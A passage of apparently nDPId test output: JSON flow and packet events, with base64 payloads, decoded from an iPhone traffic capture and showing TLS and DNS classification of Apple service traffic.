BAQEFAAOCAQ8AMIIBCgKCAQEAz5OQ26NMG3+wL7VQiRvYmEl0dQH+y7jG30Xq0szwA0HhHUOltteAVEk7uSCV770vGd8H4YroH4zaTHuZZyL\/metoo+fOnZZ8yuBRKAQEmLk0k6cXzi42emR3UOxVIxlABab20cmMjigYECGz1dGXF0EVjhPY1lgnLend8sIR6OL7\/ObnoRYnAwHUkr\/23MJhV\/9WLdWWoaO0o4XWPPqhmI3OqDZf8Abpu\/K7n7yd6VTKQexqxHBqHI6jliuXkwp8rR5j2iTOLocZme0verNUtgPf0J3B7fESJtecqmpQmw\/OkATqNG9TUcsJZ7elwHm\/QpnqO5VHCTWTA6kKoCj1HwIDAQABo4IEyDCCBMQwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBTYepREfJBwkBae3RecAUQDhtYqKTB+BggrBgEFBQcBAQRyMHAwNAYIKwYBBQUHMAKGKGh0dHA6Ly9jZXJ0cy5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5kZXIwOAYIKwYBBQUHMAGGLGh0dHA6Ly9vY3NwLmFwcGxlLmNvbS9vY3NwMDMtYXBwbGVpc3RjYTJnMTIwMBkGA1UdEQQSMBCCDioubHMuYXBwbGUuY29tMIH\/BgNVHSAEgfcwgfQwgfEGCiqGSIb3Y2QFCwQwgeIwgaQGCCsGAQUFBwICMIGXDIGUUmVsaWFuY2Ugb24gdGhpcyBjZXJ0aWZpY2F0ZSBieSBhbnkgcGFydHkgYXNzdW1lcyBhY2NlcHRhbmNlIG9mIGFueSBhcHBsaWNhYmxlIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mIHVzZSBhbmQvb3IgY2VydGlmaWNhdGlvbiBwcmFjdGljZSBzdGF0ZW1lbnRzLjA5BggrBgEFBQcCARYtaHR0cDovL3d3dy5hcHBsZS5jb20vY2VydGlmaWNhdGVhdXRob3JpdHkvcnBhMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATA3BgNVHR8EMDAuMCygKqAohiZodHRwOi8vY3JsLmFwcGxlLmNvbS9hcHBsZWlzdGNhMmcxLmNybDAdBgNVHQ4EFgQUP8a7O4KKBEkwqYE6aCTMDXOI5ZcwDgYDVR0PAQH\/BAQDAgWgMIICbQYKKwYBBAHWeQIEAgSCAl0EggJZAlcAdgC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWmDro+VAAAEAwBHMEUCIQC6qNKm2PO2iVnAY3dXNcjP\/RRQr+eSx577YiUlj0HeEAIgdvb7+Pm+oRrOHFlvXDnzWATgNjKeT7gxKY+JAZJ\/"} +00838{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":128,"source":"iphone.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1582454598385,"flow_last_seen":1582454598592,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.130.2.46","src_port":50577,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsp85-ssl.ls.apple.com","ja3":"55271a105172d5f225e4704755b9b250","ja3s":"4ef1b297bb817d8212165a86308bac5f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02379{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":592079,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXU6hcAADIGwqERggIuwKgCEQG7xZHfrwtDGTrtHYAQAAMqkQAAAQEICrVP0oER3+fwZooAdQCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWmDro+XAAAEAwBGMEQCIAP01iSTpljIzjFVfH3bSqLJ8zJf0QbTBoJ4F04sCl2YAiAcz7xSNKrHIcafP6evKtJMETOMl5mRGzgWHb1pdUy11gB2AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABaYOukHcAAAQDAEcwRQIhAIHJdGljpS8EnOBT8HqnM9pqHuT4kpfw6aRKYr2ifLD3AiAExKL9pYFPcaH1\/\/Qa6UYYTKgFD\/mGj9jVUDZXDlx0FwB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABaYOuj58AAAQDAEcwRQIhAOykdqwFKJ\/evq2GZyLxer94+svbUqdIz6f5TVT6luKuAiB9w3hGSXUPQT3WSF4KHZmO\/m8+3kD5OS44XjX\/+zncOQB2AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABaYOuj6QAAAQDAEcwRQIgMekPCAB2cdLnDkrErZneT37AagK6SF5591cou98K8PgCIQD\/5YxliNlSpuHP\/WWiT1ZdxnMeGlJtdVHI+wpOJESyYjANBgkqhkiG9w0BAQsFAAOCAQEAjZ0P\/nG5YRxm8RLTijJiE2Qx2JxB4urIMqbhv1VBez\/3VSqn78NlrWxVq66QqAs92I+rR4ndtmBc2L267RvelwfMSJB8Zemk\/\/03uKH2Pj+z8Bd8ROX4JP1Ys\/p63Fk1sh0mfAMAscorYQioE8c5w1qg4+\/33MspRF86C61S4D1XK219g74\/kqmGu87Ca3weX818oLHqs\/2H+xU87sggygFyq2jGxAkyMpbAfpuk2dpc2fkZBmBimbH7tcgb\/MRr7EAhAd+Lmig893bmEunIyDfhCa2uLR78LYvEUinQAlMcHYYYJMD36U6skh+y0nDm54NvrBuMJtPGTTQeZrvgvAAERDCCBEAwggMooAMCAQICAwI6dDANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTE0MDYxNjE1NDIwMloXDTIyMDUyMDE1NDIwMlowYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JOhHUdDIBayC2vrw9W06MeYzfPev+hN6eM2gAf8RRtqfEWGrlbTpAl\/YQ1rXX5Sa320yDnE9Gc694POGW+GL35FfkccZ1LKlQVd4jZRhcDUZ4A1bxXdPv0d0v2PNFDY7HYqvuPT2uT9yOsoApYRlxdhHOnEWTtC3DLRCR3aptFDhv9esryMz2bbAYsCrpRI8ziP\/eoyqAjshpdRlCQ+SUmWU+h5oUCB6QW7k5VR\/OP9fBFL954IsxVJFQf50Tegm0sy9rXE3GrR\/Art9uDFKaCoi3H+DZK8\/lRwGAptx+0M+8ktBsOMhfzLhlzWNo4Siwl\/+xkaONXwlDB6D6aM8wIDAQABo4IBHTCCARkwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFNh6lER8kHCQFp7dF5wBRAOG1iopMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0"} +01406{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":592156,"pkt_caplen":792,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":792,"pkt_l4_len":758,"pkt":"xGGLNYKpxiwDYGpkCABFAgMK6hgAADIGxWoRggIuwKgCEQG7xZHfrxDjGTrtHYAYAAOHLgAAAQEICrVP0oER3+fwZ2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTBMBgNVHSAERTBDMEEGCmCGSAGG+EUBBzYwMzAxBggrBgEFBQcCARYlaHR0cDovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL2NwczANBgkqhkiG9w0BAQsFAAOCAQEAFkdzb4WiYuHnKna7iZVCJpe8SqyscFM6PzGDPTwcq5risV0cdhqgPAxyV77TnlDgyJnWWNcC6s4NKVR8zfXCxpApVaNvFKgLQg06mG0GeJ7waqMdAgqiKKSNwoFGPm1n2t4\/\/oUOQioS3rW3+7gbp5bsd5\/s1FOVev8H9PIKFMBRUrHWjlALGplcvAvJve3t+F7BVttNfiOkEaEs1BsFmuQbUvZ8OJkFS7pyjUKJYARmKvT9aNdr95lBKNZsJKvmJVMuyIKZ4qKPI74wg7Eni\/pofwFJ6MaYaxAumF6K18pLscfJWJrQNtuWley2geTyzW8beYdMEDyJ5E36VNyqphYDAwEsDAABKAMAHSAEN1l3z1MIds7QfYyxuK7\/V8Dclcp3hwl2d8VuWSTRbQgEAQA\/SkBXY8ZMu5f7OlqejpFPerw1+zHh6NCnu87LhPTQ9\/RorGa6QeGaStaiATpErMqJFcfDZJ6Enf2nGV4poLGqB0HL7\/2eU2D2J4\/x7RDb9JTkN+7eeK4eBj5C5XTwuRoglCdnwKOMDuL4d0PMW8ktqaVHYXj2muifNjS1W7eyHL2JBCJjPIkbNbLtB6G8J2J9en8DIrIcW3E9sCbYvUSgPiApPO9x2FMxtbbgET+epQHwOBuZ6yU9A7oaI1ORhOeQtsmHeV+hRRdVZ31GwHnw\/R4vx02pzdO20qB8Xmo4us0J\/iclY6k4c75AlHn1uTYmPpAMLFhaPSGi9jZfJQMgFgMDAAQOAAAA"} +01129{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":130,"source":"iphone.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":8,"flow_first_seen":1582454598385,"flow_last_seen":1582454598592,"flow_tot_l4_data_len":4399,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":549,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.130.2.46","src_port":50577,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsp85-ssl.ls.apple.com","server_names":"*.ls.apple.com","ja3":"55271a105172d5f225e4704755b9b250","ja3s":"4ef1b297bb817d8212165a86308bac5f","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=*.ls.apple.com, OU=management:idms.group.576486, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"E4:85:25:4C:99:F8:FB:66:49:4B:80:64:5E:63:2A:75:9B:8F:C3:51"}} +00553{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":593624,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGrCfAqAIREfi5jMWPAbsN6rjapgyNS4AYBACptgAAAQEIChHf6Cb26Z9qFgMDACUQAAAhIL9y1EDy9eTpmWS0iKCdetkIBrN9k091SGDIaH3oGnlJFAMDAAEBFgMDACgAAAAAAAAAADOHN7wq\/sCzBaRwj8WRi2eooJO8qHv5P+c0wRI9i8de"} +00437{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":621600,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAC4GB8AR+LBLwKgCEQG7xZQAd9VghijqxKBScSDqGQAAAgQFrAEBCApbEwd4Ed\/oBAEDAwU="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"iphone.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52682,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713167,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkxGGLNYKpCABFAAA8BIgAAP8RMcbAqAIRwKgCAc3KADUAKGCiwekBAAABAAAAAAAAA3d3dwZpY2xvdWQDY29tAAABAAE="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":135,"source":"iphone.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52682,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"www.icloud.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"iphone.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":64203,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713210,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xiwDYGpkxGGLNYKpCABFAABCUOgAAP8R5V\/AqAIRwKgCAfrLADUALpJfu2MBAAABAAAAAAAACmJhc2VqdW1wZXIFYXBwbGUDY29tAAABAAE="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":136,"source":"iphone.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":64203,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"basejumper.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"iphone.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53317,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713214,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkxGGLNYKpCABFAABB1EAAAP8RYgjAqAIRwKgCAdBFADUALQ1OiY4BAAABAAAAAAAACWlwaG9uZS1sZAVhcHBsZQNjb20AAAEAAQ=="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"iphone.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53317,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"iphone-ld.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":138,"source":"iphone.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62526,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713413,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xiwDYGpkxGGLNYKpCABFAAA7QA4AAP8R9kDAqAIRwKgCAfQ+ADUAJzA9jewBAAABAAAAAAAAA2NsNAVhcHBsZQNjb20AAAEAAQ=="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":138,"source":"iphone.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62526,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"cl4.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"iphone.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63377,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713473,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xiwDYGpkxGGLNYKpCABFAABCtyIAAP8RfyXAqAIRwKgCAfeRADUALilRj7EBAAABAAAAAAAAA2JhZwZpdHVuZXMFYXBwbGUDY29tAAABAAE="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":139,"source":"iphone.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63377,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"bag.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"iphone.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53272,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713588,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"xiwDYGpkxGGLNYKpCABFAABD8ooAAP8RQ7zAqAIRwKgCAdAYADUALxueCAsBAAABAAAAAAAABHBsYXkGaXR1bmVzBWFwcGxlA2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":140,"source":"iphone.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53272,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"play.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":141,"source":"iphone.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53983,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713711,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xiwDYGpkxGGLNYKpCABFAABCQ9gAAP8R8m\/AqAIRwKgCAdLfADUALndaZloBAAABAAAAAAAAA2JhZwZpdHVuZXMFYXBwbGUDY29tAAABAAE="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":141,"source":"iphone.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53983,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"bag.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":142,"source":"iphone.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":49880,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":713833,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"xiwDYGpkxGGLNYKpCABFAABD04UAAP8RYsHAqAIRwKgCAcLYADUAL8OecEkBAAABAAAAAAAABGluaXQGaXR1bmVzBWFwcGxlA2NvbQAAAQAB"} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"iphone.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1582454598713,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":49880,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"init.itunes.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00517{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":714280,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkxGGLNYKpCABFAgB0AABAAEAG\/AHAqAIREf1pysWTAbsyJPEbaVjj0IAYBAAl+AAAAQEIChHf6DQAH8FEFAMDAAEBFwMDADWHsyiYnHR9U1VZ39KYD7Vit6YXikasTmHUUAQVD89cL6mKnwQVFe0\/0ArpPWq2vxLyjznYdg=="} +00964{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":714447,"pkt_caplen":460,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":460,"pkt_l4_len":426,"pkt":"xiwDYGpkxGGLNYKpCABFAgG+AABAAEAG+rfAqAIREf1pysWTAbsyJPFbaVjj0IAYBAA3bwAAAQEIChHf6DgAH8FEFwMDAYVgkPd18XfWsYhba8Leaa1gm9tllqtkmavMsp3W37EAIK5\/LGFO0M52xTC59W8vBVPRQ6aOqDV6E20MR7dmI\/8Wz1pBTjpBzRmrxsx2sjaVZoxTRD+FCeE1+Jx0bguRZ2HLMsMGm77uEfhRs4gGCFLGYOJtA0t8w9iIoTQrmte5QizIjaUxlB9ndiAySdGLRwCaFmhPicPqAT3OPW12QHi9PSX1o2e31uGlbFc118YD\/+9xS0RPO4eQmZqFzUYM+5jQwOqYiexP9p55UOnmAjD4k2GuNYPaCPFs31IpulHvr5m1Kz4j\/2uLN9S3x8XK2RQ5XEHOWalkMK+CkbUfLNqWIJT+dUQTpIbvidFnWLxD5av\/p+Epc8GjJpiRcTzHtyKULgBz6CaFkfPvGiI4tvt\/K9hy61F3LZoXayll\/zzYO1Fpy1qm06tHwnAxX